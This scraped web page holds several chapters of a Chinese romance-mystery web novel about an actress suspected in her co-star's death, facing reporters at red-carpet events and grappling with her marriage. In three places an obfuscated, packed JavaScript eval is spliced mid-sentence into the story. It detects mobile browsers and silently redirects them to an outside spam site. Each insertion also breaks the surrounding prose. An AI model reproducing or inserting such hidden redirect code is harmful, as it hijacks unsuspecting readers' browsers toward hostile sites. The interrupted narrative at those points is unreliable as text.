两人由于年龄相近,又同样演技出众,自出道之日起就被媒体们相提并论,观众和粉丝们也时不时将她们的成绩拿出来对比一番。 江知渺的第一个金视奖最佳女主角,便是击败何之晏拿到的。 也正是因为这些不可避免的竞争,导致她们表面上礼貌客气,实际却暗流涌动。何之晏会落井下石,江知渺毫不意外。 不过,瞧她面对着簇拥的助理们,分外嚣张地大放厥词,甚至装作看不见她,江知渺还是走到她面前。 “刚才那句话,是你说的?”江知渺面无表情,死死地盯住她的双眼,一字一句地质问道。 “什么?”何之晏没想到当着这么多人,对方还敢来对峙,一时间有些摸不透她的想法。 剑拔弩张的气氛很快引起了周边众人的关注,吵闹的后台也立刻安静了下来,几乎所有人都转过头,观望着她们。 “你应该庆幸我不是凶手。”江知渺冷笑道。 “否则刚刚那句话,就是你的遗言。” 说完,江知渺利落地越过她,走到目瞪口呆的工作人员面前,人畜无害地笑道:“我们继续走吧,马上就到我了,不是吗?” 一道红色丝绒帘子将她与外界隔开,帘外是持续不停的快门声,红毯主持人游刃有余地进行简单的采访,不时抛出一两句俏皮话,将嘉宾和媒体记者们逗笑。 这是江知渺再熟悉不过的场景。 她知道,刚才的小插曲只是前菜,今晚,她一定会被各种媒体连番轰炸。不过既然选择要来,她就有信心能够应对。 随着女主持人用甜蜜的声线说出“下面有请我们的国民女神——江知渺!”,她踩着水晶高跟鞋,稳稳地踏上红毯。 丝绒布帘掀开的瞬间,闪光灯的强光扑面而来,犹如一道道锋利剑光,直直地挥向她的头颅。饶是她早已习惯面对镜头,却仍然被刺痛了双眼。 不行,江知渺心知肚明,她绝对不能闭眼,连眨一下都不可以。 她闭上双眼的瞬间会被各种高精度的摄影设备巧妙抓拍,然后配上“金视奖影后被控谋杀,面对媒体采访心虚回避”之类的标题,传遍大街小巷。 然而下一秒,在“咔嚓咔嚓”的快门声中,一个娱记突如其来的高声发问,却还是让她陷入了一丝恍惚。 “江知渺,请你正面回应一下!” 半个月前,F市,服装品牌LUXE主办的慈善晚会。 “江知渺,请你正面回应一下!” 她循着声音,看到了《今日娱讯》的娱记,郑敏。作为在娱乐圈摸爬滚打十余年的资深记者,也只有郑敏有胆量违反主办方的规定,私自向红毯上的嘉宾发问。 “有媒体拍到你与柏霆宇私交甚密,你们在剧组拍摄期间多次亲密互动,请问你们是不是因戏生情?” 他的声音十分洪亮,语速极快,问题直截了当,没有留下一丝情面。 在场所有记者闻声“唰”地将头转向他,待到问完,又整齐地转过来盯着她,摄影师纷纷举起相机,等待她下一刻的反应。 江知渺挥了挥手,阻止了前来维持秩序的安保人员,反而稳步上前,走到郑敏的面前,平静地说道:“关于此事,我认为无需做出回应,我和柏霆宇只是前后辈……” “还有另一个当事人呢,怎么不来问我?” 江知渺的话突然被截断,她的身边划过一阵微风,一个炽热的身体从左侧紧紧地靠住她,强壮的手臂毫不犹豫地揽上她的腰间,又向着自己的方向用力收了收,使两人靠得更加紧密。 她讶异地抬起头,与一双带着笑意的眼睛不期而遇。 柏霆宇? 江知渺心中一跳:他怎么提前出场了? “关于我和知渺姐的绯闻……”在接收到她疑惑的目光后,柏霆宇更是肆意地挑了挑眉,深深地盯着她,“我想,应该不用解释吧?难道你们都忘了……” 柏霆宇抬起头,在面前的媒体记者中环视一周,故作神秘地顿了顿,这才露出标志性的开朗笑容。 “知渺姐的老公,不是就在旁边吗?” 所有人跟随着他的视线,缓缓向后移动。而在他们二人身后不远处,黑色的签名板前,静静地伫立着一个挺拔的身影。 那是慈善晚会的特邀主持人,邵聿。 “请两位在这里签名留念。”邵聿礼貌地伸出手,示意他们走到红毯中央。 签名时,柏霆宇终于将手从她的腰间松开,江知渺终于松了一口气,却没想到随着先后转过身来,面对摄影机,他再一次搂住了她。 江知渺不着痕迹地向反方向轻轻推拒,勉强维持脸上的微笑,凝视着柏霆宇,可他却丝毫没有松手的意思。 她的心跳因为紧张而愈发急促,不属于自己的燥热温度盘桓在腰身,穿透了薄薄的丝质礼服。 刚刚,就在所有人的注意力都因柏霆宇一句话而转向邵聿后,江知渺从在场的人群中,听到了恍然大悟的叹息。 连她自己都觉得荒谬:七年前,他们在网上公开婚讯,所有人都知道他们是夫妻;可这么多年过去,所有人竟然都忘了,他们原来是夫妻。 柏霆宇只是指出这个事实,都让一切显得格外讽刺。在众人眼中完全是陌生人的一对夫妻,此刻站在媒体前,妻子正在回应出轨绯闻。 不出所料,柏霆宇面对着她,仍然是一脸无辜,饱满的脸颊上勾起得意的笑容,似乎在用眼神问:“怎么了?” “两位首次合作的古装剧《凤皇止阿房》正在热映,看得出二位也是很有默契,不如来谈一谈,两位在合作过程中的一些感受?” 邵聿的声音让江知渺结结实实地吓了一跳,她一心与柏霆宇对峙,猝不及防听到熟悉的声音,有些慌乱地回过头。 柏霆宇抓住了她那一丝惊吓,抿着嘴唇笑了起来。他站在江知渺与邵聿之间,顺理成章地接过邵聿递来的话筒,“感受吗……” 他专注地看着主持人,又一个一个环顾翘首以盼的媒体记者,停顿了许久后,才轻笑道:“很舒服。” 语焉不详的回应,让在场所有人都愣住了,听到这句话江知渺立即屏住了呼吸,用警告的眼神瞪着他,心底忐忑不安。 你到底要说什么?她努力用目光传递着疑惑和怒气。 “哦?这个回答的确很新奇。”邵聿仍然用职业的语气问道:“不知道能否具体为我们讲讲?” 江知渺狠狠地剜了柏霆宇一眼,示意他好好说。收到最后通牒,柏霆宇忍不住笑了。 他终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599452|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把眼神从江知渺脸上移开,狡黠地盯着邵聿,“这话由我来说很奇怪吧,邵主持应该也深有体会。” “扑通。”江知渺听见自己的心重重坠落,触及谷底,全身的血液几乎顷刻间就被凝固,手心冒出一层冷汗。 她倒吸了一口凉气,慢慢地转头,看向邵聿。 可惜柏霆宇锻炼得当的身体将她的视线完全挡住,她被钉在原地,几乎不敢动弹,也无法探身去看。 在短暂的沉默中之后,她听到邵聿发出温柔的笑声:“的确。” 又是一阵温水煮青蛙般的停顿。 江知渺感觉自己仿佛被悬挂在一锅沸腾的热水之上,蒸腾的热气炙烤,随时都有危险会摔进滚烫的水中。 “知渺待人大方热情,工作中也没有架子,和她相处起来会非常轻松愉快,也绝对不会有负担。” 那场慈善晚会至今才过去不足一个月,江知渺却已记不清自己当时说了什么,大脑只剩下一片空白。 至于邵聿,整段采访中,她都被柏霆宇有意无意地挡住,没能看到邵聿的神情,从他自始至终平静沉稳的声线中,没有听出丝毫破绽。 直到走下红毯,进入会场,开得不要钱似的冷气将她一身的冷汗打透,她才后知后觉地打了个寒战,发觉柏霆宇揽在她腰上的手,从未放下过。 他不该和自己同时出场的。这是一场慈善晚会,并非宣传新剧的活动,根据主办方的安排,每位艺人都是单独登场。 甚至红毯开始前,柏霆宇还大剌剌地闯进她的更衣室。 他赶走了她的助理,迎面将她抱住,撒娇似的在她的耳畔抱怨道:“为什么我们不能在一起呢?” 熟悉的年轻气息充斥在她的脖颈、耳根,灼烧着她的思绪,江知渺猛地将他推开,不可置信地看着他—— 果然,又被他耍了。 柏霆宇正嬉笑着赏玩她的慌张,双手高高抬起,向后退了一步,“姐姐,我是说,我们为什么不能一起走红毯呢?” 收获她尚未平复的诧异,柏霆宇依旧摆出状似无辜的笑容,佯装惊讶道:“姐姐想的是什么?难道以为……” “柏霆宇!”江知渺恨不得上前捂住他的嘴,刚抬起手又放弃了,只能狠狠地白他一眼。 “你老公今天也在,我是不会做什么出格的事情的。”柏霆宇又严肃起来,收敛了吊儿郎当的神色,把手插进兜里。 话音未落,他突然靠近,额前垂落的一缕头发划过江知渺光洁的额头,带着淡淡烟草味的鼻息打在耳垂上,引来她的银制耳坠剧烈晃动。 江知渺来不及躲闪,耳垂不小心蹭过他的脸颊,紧紧地屏住了呼吸。 他凑上来,只为了说一句话:“你放心,我刚刚已经去主持人休息室,跟他打过招呼了。” 江知渺还是忍不住抬起手掌,直直地挥向他嬉笑的脸庞。 ……原来,他真的死了啊。 江知渺在层层叠叠的媒体中环顾了一圈又一圈,看到不少熟悉的面孔,大多数还是慈善晚会上那些记者。 就连发出质问的人,也还是郑敏。 她在心底默数了十个数,可这次却毫无其他人的动静,只有她独自面对着无数探寻好奇的目光。 寂静中,江知渺的头脑变得十分清晰,甚至还有空想到梁栖月之后又要帮她写声明。然而,她还是大步上前,一把夺过郑敏手中的话筒。 5. 风波 “你们真的想知道凶手是谁吗?”江知渺用犀利的目光快速在所有人的脸上扫了一圈,“还是,又想用女艺人的私生活,编造头条?” 她的质问让在场的快门声瞬间安静下来,只剩下微弱的电流声,如枯燥蝉鸣般萦绕着。 江知渺把“又”字咬得很重,话音刚落,所有人的脸色都有些不自在,高举的话筒也纷纷放下。 大家心知肚明,江知渺是在暗指三年前,小花关旖旎坠楼身亡事件,她的家人痛诉娱乐媒体编造并传播绯闻,加重了她的抑郁症,最终迫使她走上自杀绝路。 江知渺冷笑着,“你们不是一个个都号称有24小时跟踪的狗仔吗?为什么没有一个人拍到真凶?” 听到这话,几个平日里声望比较高的头部娱记纷纷低下了头,眼神飘忽不定。 “有时间在这里捕风捉影,不如去给警方提供有用的线索,查出究竟是谁杀了他。” 说完,江知渺将话筒塞到郑敏手中,她高傲地抬起下颌,垂眼问道:“我相信您没有其他问题了,对吧?” 不等郑敏从震惊中反应过来,江知渺踩着十几厘米高的高跟鞋,大步流星地走到签名板前,在正中央签下自己的名字。 她向一旁愣住的主持人微微欠身,而后径直走向了红毯的终点,离开媒体记者的视线。 一路仍有人在窃窃私语,可江知渺却毫不在意,目不斜视。她知道,这场与无形鬼怪的战斗,第一回合,胜出的是她。 红毯结束后,活动很快开始了。《ELAN》杂志的首席主编Fawn女士按照惯例,选择部分艺人,对他们以及穿着的高定进行介绍。 这不仅仅是一个展现时尚风向标的机会,更代表着时尚界对艺人时尚完成度的肯定,在场所有艺人,无一不希望自己的名字能够响起。 江知渺已经连续三年在这一环节第一个得到提名,出乎意料的是,Fawn一连点评了十几位艺人的着装,却始终连看都没有看向她。 很快大家也都意识到这其中有什么问题,纷纷转过头来看她的表情。随着Fawn说出“最后一位,何之晏”,许多人甚至发出了一声讶异的轻叹。 对于这个结果,江知渺并不算惊讶。尽管工作室早就与多次合作的VELVET借好今年最新款的礼服。然而,昨晚事发后,VELVET便立即撤回了合作意向。 “这也是人之常情,现在正是风口浪尖上,等柏霆宇的案子有了进展,自然就没事了。”面对梁栖月的抱怨,江知渺并没有跟着生气,反而是安抚她。 “而且,你不是又借到AURA的高定了嘛。” AURA是本国创立的专业时尚品牌,经几十年发展,已成为国际时装标杆,并且以其高冷著称。 每年,他们旗下设计制作的高定不超百套,却件件精品,极难借出。江知渺入行八年,也只是在第一次获得金视奖提名时,有幸穿过。 在这个风口浪尖上借给她,并非是表示支持,而是因为,这是一件没有得到官方认可的“废裙”。 AURA只在每年十二月举办大秀,所有高级定制都会在大秀上展出,也唯有通过这场大秀,人们才能知道哪些是AURA的礼服。 而江知渺身上这件,却是一件没有登上过大秀的裙子。假如AURA不想认领,那么,就没有人会相信她穿的是AURA。 若在以往,她绝对不会任由他人这样拿捏自己。可今时不同往日,哪怕是有其他选择,梁栖月也不会把这件衣服拿给她。 黑色的,毫无装饰的,朴素的A字裙,犹如夜间一道神秘的瀑布,在明亮的灯光下显得十分黯淡。 “她穿的是谁家的裙子啊?” “不知道啊,从来没见过。难道是什么独立设计师的?” “该不会是借不到高定吧?也是,现在谁家会把裙子借给她啊……” 关于她的低声讨论从她步入会场便没再停过,直到官方的活动结束,酒会已经开始,仍然有人向她投来好奇的目光。 江知渺自顾自地端起一杯红酒,走上露台,靠在古老的雕花石柱上,小口品味。 这样的场景江知渺倒是很自在,毕竟她在圈子里也没有什么朋友,以往都是旁人主动来找她搭话,她早就习惯了保持礼貌客套的距离。 江知渺含住杯中最后一口红酒,醇厚的酒香在舌尖发酵,低浓度酒精带来恰到好处的晕眩,让她紧绷的神经放松下来。 不过是些闲言碎语罢了,耍大牌、难伺候、改剧本、刁难人,诸如此类的议论,这些年来一刻也没有停歇。 只要不耽误她正常拍戏就好。 原本与柏霆宇马上开拍的下一部戏,因男主角意外身亡,已经宣布无限期停拍。接下来她的其他工作,也都被合作方中止,这就意味着她马上就要被迫休假。 江知渺正有些为着工作的事忧虑,一个熟悉的身影突然出现在眼前,让她的眼睛一亮,她惊喜地喊道:“修导!” 提到当今娱乐圈中的伯乐与千里马,绝大多数人都会第一时间想到修茂德导演和江知渺。 五年前,在娱乐圈中查无此人的江知渺,因出演知名导演修茂德指导的仙侠剧女二号,一夜走红。表面乖巧实则为爱心狠手辣的小师妹形象,至今仍然被许多人津津乐道。 此后,她先后出演了多部电视剧,凭借着极具天赋的演技,获得了广泛的观众缘,也站稳了影视剧第一青衣的位置。 从清纯小白花,到性感熟女,从豪门大小姐,到职场女性,只要是她主演的剧集,都能收获极高的收视率。 可以说,没有修茂德,就不会有如今的江知渺。她也始终非常感激修导的拔擢,在采访中多次提到修导是她的“恩人”。 “修导,没想到您也在!”江知渺放下酒杯,乖巧地站直了身子。 修导今年五十七岁,尽管由于拍摄压力早早就生出满头白发,可精神却十分矍铄。 他点了点头,和善地笑道:“可算找到你了,我就是为了你才来的。之前还担心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599453|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你不参加,想让助理直接联系你经纪人。” 江知渺心头一跳,要联系经纪人,肯定是工作上的事。她与修导近两年并无合作,难道是有什么新的机会? 修导摇着头,无可奈何地笑了笑,“你啊,还是这么戏痴,提到拍戏,两眼都放光!” “修导,您就别卖关子了。”她藏不住眼中的期待,等着修导后面的话。 “好好好,不开玩笑了。”说着,修茂德放下手中的酒杯,正式地说道:“其实,我是想拜托你帮我一个忙。” “我手里现在有一个戏,演员都定好了,结果女主演临时接了个电影,毁约不拍了。” “这部戏的女主角要经历好几个情感阶段,对演技的要求很高。”修茂德拍了拍她的肩膀,“要在下周开机前找到接替的女演员,我第一个就想到了你。” “修导,我……” “你别担心。”修茂德打断了江知渺的踌躇,“我知道,你最近遇上点儿棘手的事情,既然我来邀请你,就是百分百相信你。如果你愿意参演,制作人那边我去搞定。只是下周就要开机,时间比较紧张……” 江知渺感激地望着修导,毫不犹豫地重重点头,“修导,这个戏我愿意接。只要是拍戏,什么困难我都可以克服!” “好!那我让助理把剧本发给你经纪人,咱们下周见。” 江知渺将他送到出口,目送着他离开,也想立刻离开会场,跟梁栖月分享这个喜讯,让她联系修导的助理。只有沉甸甸的剧本握在手里,她才觉得安心。 可当她准备提前从出口离开时,却遭到了工作人员的阻拦。 以往《ELAN》主办的活动都非常自由,正式的环节结束后,晚宴或酒会都可以随时离场。 今天工作人员的要求一反常态,非常严格,这让江知渺十分不解。她本想再向他们问一问缘由,会场内的灯却突然暗了下来。 紧接着,古老的阁楼上方响起钟声,一下、两下、三下…… 厚重的铜钟发出震人心魂的撞击声,每一次声响都带着经久不衰的回音。 十一、十二…… 十二声钟响已毕,伴随着悠远的尾音,会场内的灯光缓缓变得柔和起来,掺杂着暖黄的奇妙光彩,如丝绸般环绕在每个艺人周身。 不知是谁第一个发现,一个人、两个人……很快,所有人的目光都投向了江知渺。 她随着众人惊讶的目光低下头,发现自己的裙子在这灯光下,竟然如同繁星漫天的夜空,星光点点。 她上手去触摸,在光滑平整的缎面上,那些钻石般耀眼闪烁的星光,仿佛是这一根根黑色丝线自带的光芒。 正当所有人都在惊叹这样普通的一件礼服如何发出如此夺目的光彩时,会场正中央的话筒发出了轻微的响声,人们循着声音,看到Fawn再次出现。 “非常感谢大家今天前来参加《ELAN》举办的「晚星如曜」主题酒会,我谨代表《ELAN》杂志,向各位宣布一个消息。” 6. 依偎 “从今年起,《ELAN》杂志将与AURA合作,每年共同举办两场大秀,发布AURA最新款高级定制礼服。” Fawn轻描淡写的一句话让现场瞬间沸腾起来。AURA从来都是高岭之花一般的存在,可遇而不可求,如今与《ELAN》杂志达成合作,意味着他们就有更多机会接触到AURA的资源。 等台下的讨论声逐渐平息,Fawn继续说道:“为贴合今晚活动的主题,也是为后续的大秀做好预热,我们特意邀请江知渺女士,展示AURA本年度品牌设计大赛冠军作品——灰姑娘。” 一束追光随着她的手势打向江知渺的身边,看似平庸的黑色裙摆上,每一根丝线中都嵌着钻石的微小碎片,浑然天成,只有在恰到好处的灯光下才能看清。 “十二点的钟声响起,辛德瑞拉慌忙逃离了舞会,却在匆忙中遗落了一只水晶鞋。” Fawn独特的沙哑嗓音如同格林童话的讲述者,她娓娓道来的语句像是漂浮在空中的浪漫气泡,勾勒出一场奇幻梦境。 “王子捡到了水晶鞋,他发誓,一定、一定要找到它的主人。” 江知渺被所有人的目光钉在原地,这个童话故事并没有给她带来美好的幸福感。 随着Fawn生动的讲述,她却联想出了最不愿回忆的场景,忍不住想要逃走;可头顶的追光死死地跟着她的一举一动,让她无法动弹。 她仿佛回到了从中央艺术学院毕业那年,乘着漆黑浓重的夜色,疯狂地逃出金碧辉煌的高级会所。 身后是厉声呼喊的黑衣人,她只顾着往前跑,连鞋子跑丢了一只都顾不得。 一路狂奔,跑出会所,跑进夏夜,跑向未知的远方,湿热凝固的空气也被她生生割出一道缝隙来。 她拼了命地跑啊,跑啊,渐渐地,追逐声消失了。当她惴惴不安地回过头去查看情况,却迎面撞上了一个熟悉的身影。 “邵聿?”她惊魂未定,退了半步。 “是我,没事了,你是安全的。”久违的安全感勾起她后知后觉的恐惧,终于捂住脸哭了起来。 “知渺,我们结婚吧。”在无边无际的绝望中,江知渺听到了邵聿坚定的声音。 二十三年来,她第一次感受到自己漂浮的灵魂降落下来,落在一片童话般的、光洁无尘的净土之上。 “江知渺,你真是我的祖宗!一晚上就给我整出这么多新闻头条!”江知渺打开手机扩音器,放在料理台边,熟练地翻动锅里的煎蛋。 《ELAN》活动的第二天,一大早,梁栖月就如她所料,怒气冲冲地打来电话,细数她昨晚在活动现场制造的话题。 “当面质问媒体,责问记者失职,暗示、哦不,是明示他们吃人血馒头……” “还有——”梁栖月抬高了声音,江知渺轻点音量键,将她的分贝调低,“你还对何之晏出言不逊,发出人身威胁?江知渺,是不是我太惯着你了,你现在能耐真是越来越大了!” 江知渺也看到了自己制造的这些爆炸性新闻头条,任意一条都能点燃社交媒体的标题,经过在警察局讯问的一夜,已经不能让她提起任何兴趣了。 她所关心的,另有其人。 “栖月,我让你帮我查的事情,有发现什么吗?” 梁栖月立即放缓了语气,“我这边没有发现什么不对劲的。你告诉妙妙了吗?他们做狗仔的应该知道的比较多。” “嗯,我跟她讲了,她说会帮我好好查查的。” 从昨晚活动结束,江知渺便一直在意这件事:自己与AURA并无任何合作,如今她又在接受警方调查,为什么要让她做大秀的第一位模特呢? 甚至那件高定的主题概念,都令她不由得多想——灰姑娘。 丑小鸭摇身一变,成为高雅的白天鹅;小小的鲤鱼轻轻一跃,成为金色的锦鲤——这些都不是灰姑娘的故事。 如果让她来讲,那么辛德瑞拉的故事是,在穷困潦倒中,因为偶然的机遇,穿上了华丽的衣裙。 然而零点的钟声响起,一切都不复存在,她还是那个贫穷、平庸、落魄的灰姑娘。 AURA这次抛出的橄榄枝,有着太多的谜团,她不敢随意去接。 半小时后,梁栖月终于挂断了电话。江知渺本想享受一下难得的休闲时光,社区管家突然打来电话,说有4s店的访客找邵聿,说是他预约了上门检查车辆。 邵聿一早便出门了,她平日里也不会过问他的事情,于是直接让管家放行,请他们来到车库检查。 维修师傅第一眼就认出她来,在包里翻了半天,找出一张维修单来让她签个名。 见江知渺愿意签名,其他三个维修师傅也纷纷掏出纸张,请她签名。江知渺没有拒绝,一张一张签了过去,耐心地签完六张,这才问及车辆的故障。 “上周不是下了大暴雨嘛,雨水很容易导致电路出问题,最近很多车主都在找我们检修。这辆车左前侧的车灯不亮了,需要拖走,返厂维修。不过您放心,也不是什么大问题,过两周就能去提车了。” 江知渺无所事事地站在一旁,看着他们忙碌,做拖车的各种准备工作,突然有些烦躁。 之前拍《凤皇止阿房》,三个月也没有休息一日。后来很快又进入宣传期,加起来,已经连轴转了小半年。好不容易有几天休息的时间,却在这不见天日的地下车库耗费了半天。 她叹了口气,请维修师傅随意处置,后续的事情直接联系邵聿,转身就乘坐电梯回到了家中。 在忙碌时,积年累月的疲惫还可以用工作的热情来抵抗,如今突然有了计划外的闲暇时间,身体和精神上的劳累便再也难以抗衡。 “姐姐,等等我。” 迷迷糊糊地,她似乎进入了浅眠。眼前突然出现一个模糊的瘦高身影,熟悉的声线让她忍不住靠近。走近才发现,柏霆宇穿着《凤皇止阿房》中的戏服,笑得十分纨绔。 他们在剧中饰演一对姐弟,古装剧的台词总是缠绵悱恻,柏霆宇还偏偏剧里剧外都“姐姐”、“姐姐”喊个不停。 她听得腻歪,几次三番警告他拍戏之外不要叫姐姐,可惜直到杀青也没能让他改口。 梦里,他们似乎是在拍摄杀青前的最后一场戏:柏霆宇带兵攻入城中,直奔皇城,一路斩杀,血流成河,将被圈禁在后宫的她救了出来。 他们骑在马背上,江知渺从背后紧紧地搂住他的腰,箭雨自城楼上密密麻麻地射向他们,犹如无数张血盆大口,想要吞没河面上的一叶孤舟。 她靠着柏霆宇宽厚的肩膀,听他挥剑斩断所有飞来的木箭,金属刀刃利落地筑起一座屏障。 然而,他们有着太多太多的敌人,太多太多虎视眈眈的目光,最终,还是有一支箭逃过了他挥舞不辍的利剑,深深地扎进了她的身体。 尽管五脏六腑都在剧烈疼痛,她还是感受得到他突然变得僵硬的躯体,听得到他愤懑的怒吼,看得到他布满血丝的悲戚目光。 他们一路策马扬鞭,拼命穿越层层围堵,停在皇城外的山林中。她记得,那里有一条清澈见底的小溪,儿时他们最喜欢在这里戏水。 可如今,泪水糊满了弟弟年轻的面庞,她好想抬手帮她擦拭泪水,好想劝他不要难过,好想叮嘱他保重身体,然而一切都太困难了。 “姐姐,我只有你了,不要离开我,姐姐……”她在他泣不成声的呼唤里,缓缓闭上双眼。 下一秒,她被人半推半就着倒在柔软的大床上,毛茸茸的头颅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599454|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她的颈侧磨蹭,炽热的唇瓣滑过她的耳畔,向下,再向下,吻上锁骨。 “柏霆宇,你知道自己在干什么吗?”她不可置信地推搡着,却被他一只手握住两个手腕,按在头顶。 柏霆宇一言不发,近乎执著地用嘴唇丈量着她肩颈的肌肤,带着酒气的呼吸喷在她的耳边,勾起丝丝缕缕的痒意。 “柏霆宇!”她用上了双腿,想要将压在自己身上的人踢开,可又被他迅速识破,压住她的膝弯,令她全身都动弹不得。 她只好不停地去说话:“柏霆宇,你个混蛋!快醒醒!再不醒酒的话,我要喊人了!” 她的威胁立刻收到了效果,他停下拱来拱去的脑袋,半撑起上身,用迷茫的眼神盯着她。 正当她以为柏霆宇已经醒酒时,他猛地俯下身来,脸凑得极近,江知渺在呼吸时,鼻尖甚至能够碰到他的。 “姐姐……” 他低声呢喃,专注的眼眸中映射出江知渺不断放大的瞳孔。 “姐姐,不要离开我,我只有你了……” 突然,手机铃声忽然响了起来,打破了僵持的暧昧氛围。江知渺猛地睁开双眼:天光正亮,熟悉的装潢,温馨的家装——这里不是剧组统一安排的酒店,而是她的家。 “手机……”铃声响了许久,江知渺急着摸索茶案上的手机,慌忙间碰倒了咖啡杯,褐色液体开始肆意流淌。 她瞟了一眼来电人,顾不上擦拭桌面,匆匆地平复好呼吸,按下接通键。 “爸。” 电话那头的老人声音低沉沧桑,自带威严,隔着听筒也能感受到强大的气场,“小江,你今天应该有空吧,晚上和邵聿回家吃饭。” “好的,爸。”她顿了顿,补上一句,“抱歉,爸,邵聿和我说过好几次要回家看望您,之前因为我的工作比较忙……” “没事,我知道了,想吃什么直接和刘姨说。”说完,那边就挂断了电话。 江知渺松了一口气,缓缓放下手机,这才察觉到自己出了一身的冷汗,而原因……她回想起方才的梦境,用力地摇了摇头,想要把这段记忆从脑海中摇晃出去。 她心虚地看向邵聿的房门,这个时间他还在电视台上班。她莫名感到脸热,仿佛做错了什么事情,心底一阵阵发慌。 “果然,人一闲下来就容易胡思乱想。”她缓了缓神,起身去冲澡。 洗去午休后的疲惫,已是下午三点。江知渺本想简单对付几口,可来到厨房,看到橱柜上摆放着光洁整齐的鸡蛋,她又被迫回想起邵聿留下的那枚热气腾腾的鸡蛋。 昨晚,幸好提前进行了热敷,这才没有在长枪短炮的镜头前露馅。 说起来,自从案发之后,邵聿对她也算得上仁至义尽了,江知渺原本就对他没有什么期望,能做到这些,已经远远超出她的想象。 家里究竟是什么时候买的煮蛋器,又是什么时候接通了电源,自己一概不知。 对比起她刚才那个纠缠的梦境,江知渺顿时有些惭愧。她思考片刻,还是放弃午餐,开车出门了。 江知渺选择先去到A市市郊的葡萄酒庄园,那里储存着全市品质最好的红酒,邵聿的父亲也偏爱这个酒庄的酒。她与酒庄的老板相熟,旁人需要提前一周预约,但她可以随时去酒库里挑选。 买完两瓶红酒,回到车上时,夕阳已经悄然将她和整片葡萄园笼罩起来,车内染上了鲜艳的赤红,冷冰冰的金属构件反射着闪烁余辉,她的心也跟着这温馨的氛围放松了下来。 发动机轰隆响起后,江知渺将手指悬在触控屏上许久,最终还是没有播出电话,而是调整了导航目的地。 在踩下油门的同时,车内发出机械的女声:“开始导航,目的地:国立电视台。” 7. 狭路 邵聿将本期《钩沉》的节目流程拟好,稿子写完,抬头看了一眼电脑屏幕上的时间:17点42分。 他打开一个空白文档,本想整理一下关于《钩沉》第三季收官节目的思路,心却怎么也静不下来,被周围七嘴八舌的聊天内容吸引。 距离下班的时间不远,许多同事都开始做收尾工作,他们站在工位上,聊着五花八门的话题:家里谁去接孩子、晚饭做什么菜肴、孩子的学习成绩…… 充满烟火气的氛围让他的心底升起一股莫名的烦躁,面对着屏幕,怎么也敲不下一个字。 家,他第一次有这么强烈的想家的感觉,第一次这样迫切地想要回到家中。 昨天他听到了梁栖月和江知渺的对话,她手头的工作都被迫中止了,那么此时此刻,她应该是在家的。 想到这里,邵聿听到大脑中“叮”地发出一声清脆的铃铛声。在还没有想清楚自己接下来要做什么前,手已经飞速地操纵鼠标,将所有电脑程序关闭。 关机页面还在转动,邵聿一把拉开转椅,滚轮与地板摩擦发出沉闷的响声。 “聿哥,你要去食堂吗?我和你一起。”邵聿带的实习主持刘恪辰跟着他站了起来,一边收拾东西,一边自然地说道:“明天节目的稿子我核对完了,吃完饭麻烦聿哥你再确认一下。” “不是去食堂。”邵聿的回答让刘恪辰愣住了。 然而他接下来的话更是让这个年轻人瞪大了双眼:“我先下班了。” 不止是刘恪辰,这句话也引来许多人的目光。众人纷纷停下各自讨论的话题,诧异地看着他。 “聿哥,你……你说什么?”刘恪辰不可置信地问道。 邵聿把工牌摘下,放进手提包中,奇怪地瞥了他一眼,“马上到下班时间了,有什么事吗?” “哇——聿哥,你竟然知道台里几点下班啊!你每天九点以后才下班,我还一直纠结要不要告诉你呢!”刘恪辰扯着嗓门,懒散地靠在工位隔板上。 邵聿抬起头,准备离开工位,正好对上一群同事惊掉下巴的模样。 他迈开脚步,左手重重地在刘恪辰的肩上按了按,语重心长地说道:“今晚十二点前,发给我一份收官节目的策划案。” 说完,不顾刘恪辰悲惨的鬼哭狼嚎,与同事们惊奇的目光,邵聿离开了工作区,步入电梯。 八月,北半球中纬度地区的白昼开始缩短,此时,最灿烂的落日光辉正透过电视台巨大的玻璃幕墙,为每一个角落笼上柔和的光芒。 他已经许久没有在这个时间下班了,随着电梯缓缓来到一层大厅,落日与骤然开朗的视线不期而遇,令人心胸舒畅,连带着他的脚步也随之轻快起来。 邵聿随着熙熙攘攘的人群,往玻璃之外的世界走去。直面强烈的日光,给盯了一天电脑屏幕的双眼增加了负担,那些四面八方涌进来的光让他只得低着头疾走。 “邵聿!” 如果要他选出三十一年来听过的最动听的话语,他不会选择爱人缱绻的低语,更不会选择热情的表白,而就是当下,此时此刻,浓烈的落日余晖中,缓缓氤氲的一声呼唤。 他应声坠入一片汪洋大海,血肉溶于海水,渺小的身躯被浪潮狠狠拍打,甩上浪尖。 